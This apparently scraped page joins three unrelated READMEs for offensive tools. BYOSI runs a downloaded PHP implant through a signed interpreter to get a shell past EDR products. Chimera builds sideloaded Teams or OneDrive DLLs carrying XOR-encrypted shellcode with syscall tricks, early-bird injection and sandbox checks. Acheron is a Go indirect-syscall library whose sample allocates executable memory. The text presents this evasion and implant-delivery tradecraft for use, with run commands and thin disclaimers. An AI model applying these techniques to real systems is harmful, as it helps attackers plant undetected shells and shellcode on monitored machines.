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Evade EDR's the simple way, by not touching any of the API's they hook.
I've noticed that most EDRs fail to scan scripting files, treating them merely as text files. While this might be unfortunate for them, it's an opportunity for us to profit.
Flashy methods like residing in memory or thread injection are heavily monitored. Without a binary signed by a valid Certificate Authority, execution is nearly impossible.
Enter BYOSI (Bring Your Own Scripting Interpreter). Every scripting interpreter is signed by its creator, with each certificate being valid. Testing in a live environment revealed surprising results: a highly signatured PHP script from this repository not only ran on systems monitored by CrowdStrike and Trellix but also established an external connection without triggering any EDR detections. EDRs typically overlook script files, focusing instead on binaries for implant delivery. They're configured to detect high entropy or suspicious sections in binaries, not simple scripts.
This attack method capitalizes on that oversight for significant profit. The PowerShell script's steps mirror what a developer might do when first entering an environment. Remarkably, just four lines of PowerShell code completely evade EDR detection, with Defender/AMSI also blind to it. Adding to the effectiveness, GitHub serves as a trusted deployer.
The PowerShell script achieves EDR/AV evasion through four simple steps (technically 3):
FreshRSS 1.) It fetches the PHP archive for Windows and extracts it into a new directory named 'php' within 'C:\Temp'.
2.) The script then proceeds to acquire the implant PHP script or shell, saving it in the same 'C:\Temp\php' directory.
3.) Following this, it executes the implant or shell, utilizing the whitelisted PHP binary (which exempts the binary from most restrictions in place that would prevent the binary from running to begin with.)
With these actions completed, congratulations: you now have an active shell on a Crowdstrike-monitored system. What's particularly amusing is that, if my memory serves me correctly, Sentinel One is unable to scan PHP file types. So, feel free to let your imagination run wild.
I am in no way responsible for the misuse of this. This issue is a major blind spot in EDR protection, i am only bringing it to everyones attention.
A big thanks to @im4x5yn74x for affectionately giving it the name BYOSI, and helping with the env to test in bringing this attack method to life.
It appears as though MS Defender is now flagging the PHP script as malicious, but still fully allowing the Powershell script full execution. so, modify the PHP script.
hello sentinel one :) might want to make sure that you are making links not embed.
While DLL sideloading can be used for legitimate purposes, such as loading necessary libraries for a program to function, it can also be used for malicious purposes. Attackers can use DLL sideloading to execute arbitrary code on a target system, often by exploiting vulnerabilities in legitimate applications that are used to load DLLs.
To automate the DLL sideloading process and make it more effective, Chimera was created a tool that include evasion methodologies to bypass EDR/AV products. These tool can automatically encrypt a shellcode via XOR with a random key and create template Images that can be imported into Visual Studio to create a malicious DLL.
Also Dynamic Syscalls from SysWhispers2 is used and a modified assembly version to evade the pattern that the EDR search for, Random nop sleds are added and also registers are moved. Furthermore Early Bird Injection is also used to inject the shellcode in another process which the user can specify with Sandbox Evasion mechanisms like HardDisk check & if the process is being debugged. Finally Timing attack is placed in the loader which using waitable timers to delay the execution of the shellcode.
This tool has been tested and shown to be effective at bypassing EDR/AV products and executing arbitrary code on a target system.
Chimera is written in python3 and there is no need to install any extra dependencies.
Chimera currently supports two DLL options either Microsoft teams or Microsoft OneDrive.
Someone can create userenv.dll which is a missing DLL from Microsoft Teams and insert it to the specific folder to
%USERPROFILE%/Appdata/local/Microsoft/Teams/current
For Microsoft OneDrive the script uses version DLL which is common because its missing from the binary example onedriveupdater.exe
python3 ./chimera.py met.bin chimera_automation notepad.exe teams
python3 ./chimera.py met.bin chimera_automation notepad.exe onedrive
Once the compilation process is complete, a DLL will be generated, which should include either "version.dll" for OneDrive or "userenv.dll" for Microsoft Teams. Next, it is necessary to rename the original DLLs.
For instance, the original "userenv.dll" should be renamed as "tmpB0F7.dll," while the original "version.dll" should be renamed as "tmp44BC.dll." Additionally, you have the option to modify the name of the proxy DLL as desired by altering the source code of the DLL exports instead of using the default script names.
Step 1: Creating a New Visual Studio Project with DLL Template
Step 2: Importing Images into the Visual Studio Project
Step 3: Build Customization
Step 4: Enable MASM
Step 5:
Step 1: Change optimization
Step 2: Remove Debug Information's
To the maximum extent permitted by applicable law, myself(George Sotiriadis) and/or affiliates who have submitted content to my repo, shall not be liable for any indirect, incidental, special, consequential or punitive damages, or any loss of profits or revenue, whether incurred directly or indirectly, or any loss of data, use, goodwill, or other intangible losses, resulting from (i) your access to this resource and/or inability to access this resource; (ii) any conduct or content of any third party referenced by this resource, including without limitation, any defamatory, offensive or illegal conduct or other users or third parties; (iii) any content obtained from this resource
https://evasions.checkpoint.com/
https://github.com/Flangvik/SharpDllProxy
https://github.com/jthuraisamy/SysWhispers2
https://github.com/Mr-Un1k0d3r
Acheron is a library inspired by SysWhisper3/FreshyCalls/RecycledGate, with most of the functionality implemented in Go assembly.
acheron package can be used to add indirect syscall capabilities to your Golang tradecraft, to bypass AV/EDRs that makes use of usermode hooks and instrumentation callbacks to detect anomalous syscalls that don't return to ntdll.dll, when the call transition back from kernel->userland.
The following steps are performed when creating a new syscall proxy instance:
Zw* functionsyscall;ret gadgets in ntdll.dll, to be used as trampolinesIntegrating acheron into your offsec tools is pretty easy. You can install the package with:
go get -u github.com/f1zm0/acheronThen just need to call acheron.New() to create a syscall proxy instance and use acheron.Syscall() to make an indirect syscall for Nt* APIs.
Minimal example:
package main
import (
"fmt"
"unsafe"
"github.com/f1zm0/acheron"
)
func main() {
var (
baseAddr uintptr
hSelf = uintptr(0xffffffffffffffff)
)
// creates Acheron instance, resolves SSNs, collects clean trampolines in ntdll.dlll, etc.
ach, err := acheron.New()
if err != nil {
panic(err)
}
// indirect syscall for NtAllocateVirtualMemory
s1 := ach.HashString("NtAllocateVirtualMemory")
if retcode, err := ach.Syscall(
s1, // function name hash
hSelf, // arg1: _In_ HANDLE ProcessHandle,
uintptr(unsafe.Pointer(&baseAddr)), // arg2: _Inout_ PVOID *BaseAddress,
uintptr(unsafe.Pointer(nil)), // arg3: _In_ ULONG_PTR ZeroBits,
0x1000, // arg4: _Inout_ PSIZE_T RegionSize,
windows.MEM_COMMIT|windows.MEM_RESERVE, // arg5: _In_ ULONG AllocationType,
windows.PAGE_EXECUTE_READWRITE, // arg6: _In_ ULONG Protect
); err != nil {
panic(err)
}
fmt.Printf(
"allocated memory with NtAllocateVirtualMemory (status: 0x%x)\n",
retcode,
)
// ...
}The following examples are included in the repository:
| Example | Description |
|---|---|
| sc_inject | Extremely simple process injection PoC, with support for both direct and indirect syscalls |
| process_snapshot | Using indirect syscalls to take process snapshots with syscalls |
| custom_hashfunc | Example of custom encoding/hashing function that can be used with acheron |
Other projects that use acheron:
Contributions are welcome! Below are some of the things that it would be nice to have in the future:
If you have any suggestions or ideas, feel free to open an issue or a PR.
The name is a reference to the Acheron river in Greek mythology, which is the river where souls of the dead are carried to the underworld.
Note
This project uses semantic versioning. Minor and patch releases should not break compatibility with previous versions. Major releases will only be used for major changes that break compatibility with previous versions.
Warning
This project has been created for educational purposes only. Don't use it to on systems you don't own. The developer of this project is not responsible for any damage caused by the improper usage of the library.
This project is licensed under the MIT License - see the LICENSE file for details
